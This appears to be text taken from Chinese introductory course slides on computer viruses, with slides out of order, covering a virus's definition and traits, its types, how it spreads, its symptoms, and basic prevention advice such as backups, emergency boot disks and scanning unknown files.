（1）提倡尊重知识产权的观念，支持使用合法原版的软件，拒绝使用盗 版软件，只有这样才能够确实降低使用者电脑中发生病毒的机会。 （2）平常就要将重要的资料备份起来，毕竟杀毒软件不能保证完全还原 中毒前的资料，只有靠自己的备份才是最重要的。 （3）建立一张紧急修复磁盘，而且是干净可引导的，且DOS的版本要与硬 盘中的相同。如果你有PCTOOLS或Norton Utility等软件，用它们来帮 助你做一张紧急修复盘，他们甚至可以还原CMOS资料，或是重建资料。 别忘了将该紧急修复磁盘写保护。 （4）不要随便使用来路不明的文件或磁盘，就算要使用，先用杀毒软件 扫描以后再用。
第七章 计算机病毒与防治
学习要求
(1)了解计算机病毒的概念； (2)了解计算机病毒的类型、传播途径、主要症状； (3)掌握计算机病毒防治的常用方法； (4)学会识别常见病毒的方法和防毒软件的使用。
第一章 计算机基础知识
目 录
7.1 计算机病毒概述 7.2 计算机病毒的防治 7.3 防毒软件简介
7.1.1计算机病毒的概念
7.1.4计算机病毒的主要症状
（11）生成不可见的表格文件或特定文件。 （12）系统出现异常动作,例如：突然死机, 又在无任何外界介入下, 自行启动。 （13）出现一些无意义的画面、问候语等显示。 （14）程序运行出现异常现象或不合理的结果。 （15）磁盘的卷标名发生变化。 16 （16）系统不认识磁盘或硬盘，不能引导系统等。 （17）在系统内装有汉字库且汉字库正常的情况下，不能调用汉字库或不能打印汉 字。 （18）在使用未写保护的软盘时，屏幕上出现软盘写保护的提示。 （19）异常要求用户输入口令。
计算机病毒的定义：计算机病毒是指人为利用计算机软、硬件所固 有的脆弱性，编写的具有特殊功能的一组计算机指令或者程序代码。 计算机病毒的特点： （1）破坏性 （2）传染性 （3）潜伏性 （4）隐蔽性
7.1.2计算机病毒的类型
7.1.2.1根据病毒攻击的目标划分 7.1.2.2根据病毒破坏的能力划分 7.1.2.3根据病毒特有的算法划分
攻击各种文件，又攻击引导程序。因此，这类病毒的传染性和 危害性都很大，并且难以清除。
7.1.2.2根据病毒破坏的能力划分
（1）无害型 （2）无危险型 （3）危险型 （4）非常危险型
7.1.2.3根据病毒特有的算法划分
（1）伴随型病毒 （2）“蠕虫”型病毒 （3）寄生型病毒 （4）变型病毒
7.1.3计算机病毒的传播途径
计算机病毒的传播主要通过文件拷贝、文件传送、文件执行等 方式行，文件拷贝与文件传送需要传输媒介，文件执行则是病毒感 染的必然途径（Word、Excel等宏病毒通过Word、Excel调用间接地 执行），因此，病毒传播与文件传播媒体的变化有着直接关系。 （1）软盘 （2）光盘 （3）硬盘 （4）BBS （5）网络